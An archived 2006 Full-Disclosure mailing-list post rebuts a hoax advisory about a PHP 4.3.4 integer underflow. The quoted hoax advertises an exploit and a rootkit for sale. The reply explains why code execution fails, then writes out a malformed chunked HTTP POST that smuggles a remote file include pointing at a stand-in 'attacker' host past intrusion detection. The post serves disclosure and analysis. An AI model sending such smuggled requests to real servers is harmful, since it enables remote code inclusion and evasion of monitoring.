full-disclosure - [ADVISORY] Remote Integer Underflow PHP 4.3.4 Vulnerability -BanSec Industries

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Sun May 14 01:13:18 2006
From: mattmurphy at kc.rr.com (Matthew Murphy)
Subject: [ADVISORY] Remote Integer Underflow PHP 4.3.4
	Vulnerability -BanSec Industries

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

MR BABS wrote:
> It is possible to make read_bytes negative and not trigger 
> the conditional statement 'if (read_bytes<=0)'. This is possible 
> because read_bytes is an unsigned integer.... as get_client_block 
> can be made to return a negative value. Correct exploitation of 
> this vulnerability can result in the execution of arbitrary code, 
> BanSec Industries has sucessfully constructed an exploit for this 
> vulnerability, and as such are offering it for $20,000 USD.
> 
> We have already provided the blackhats with a working exploit 
> however we've also provided them with our new BanKit, a kernel 
> mode linux rootkit, so you won't notice you've been hacked.

It would be pathetic if someone "buys" this non-existent "exploit".  As 
opposed to most BanTown fakes, there's actually some use for this one, 
though.

There's no exploit involved, here, because you can't use this bug to 
underrun the receive buffer.  This is because of this check at the top 
of the loop:

     while (total_read_bytes<count_bytes)

Had get_client_block returned -1, that would decrement the 
total_read_bytes value by one.  In order to do anything other than write 
to a different offset of the receive buffer, you'd have to wrap that 
value around zero with one of these decrements, making it -1 
(0xFFFFFFFF).  That value, even when unsigned, is far greater than the 
count_bytes maximum of SAPI_POST_BLOCK_SIZE (4,000).

When the loop is broken, sapi_apache_read_post() returns -1 to the 
caller in SAPI.c, which *DOES* properly check for a signed (negative) 
result code.

It looks like the worst this can be used for is IDS evasion -- assuming 
your IDS does HTTP chunk reassembly:

     POST /somescript.php HTTP/1.1
     Host: somesite.com
     Transfer-Encoding: chunked

     1
     A
     DEADBEEF
     18
     somevar=http://attacker/

Most IDSes will pick this up as an invalid chunked transfer -- which it 
is.  However, in this case, it also carries a remote include exploit 
that your IDS might miss.  To stick with current terminology, we'll call 
it "payload smuggling".

The first call to get_client_block() will read the one-byte 'A' chunk.

The second call to get_client_block() will read the invalid chunk size 
and then fail, returning -1.

The third call will then read from the client's buffer starting at the 
next line.  It will pull in the following chunk starting at offset zero 
of the buffer:

     somevar=http://attacker/

Odds are, you'll see an IDS alert on the invalid chunking attempt.  Your 
IDS may even flag this request as an attempt to exploit CVE-2002-0392 -- 
the old Apache chunked encoding vulnerability.  Indeed, servers 
vulnerable to CVE-2002-0392 will fail when faced with this attack.  That 
said, if you're still running < 1.3.26 versions of Apache, you have FAR 
greater concerns than being DoSed by a poor excuse for an IDS evasion 
attempt.

-----BEGIN PGP SIGNATURE-----
Version: PGP Desktop 9.0.6 (Build 6060)

iQA/AwUBRGZ2dn6eL1K1RE04EQKr1QCeNmS1XfIM3tbc0cSiMfO9q62il/IAnR9C
7/WnTXsHDrowzRkX0LgREu7M
=GDwH
-----END PGP SIGNATURE-----